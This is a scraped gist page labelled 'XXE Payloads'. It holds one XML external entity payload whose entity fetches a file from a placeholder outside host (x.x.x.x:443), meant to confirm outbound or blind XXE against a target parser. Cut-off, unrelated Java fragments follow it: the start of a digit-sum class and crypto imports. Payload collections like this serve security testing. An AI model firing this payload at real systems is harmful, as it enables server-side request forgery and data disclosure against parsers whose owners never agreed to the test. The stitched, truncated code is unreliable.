Skip to content

Instantly share code, notes, and snippets.

@manjula-aw
manjula-aw / XXE_payloads
Created December 12, 2018 17:35 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
/**
*
* @author Manjula
*/
public class DigitSum {
/**
* Calculate digit sum of a given integer
* e.g: if given number is 237, then its digit sum = (2+3+7) = 12
* @param number
import sun.misc.BASE64Encoder;
import sun.misc.BASE64Decoder;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
/**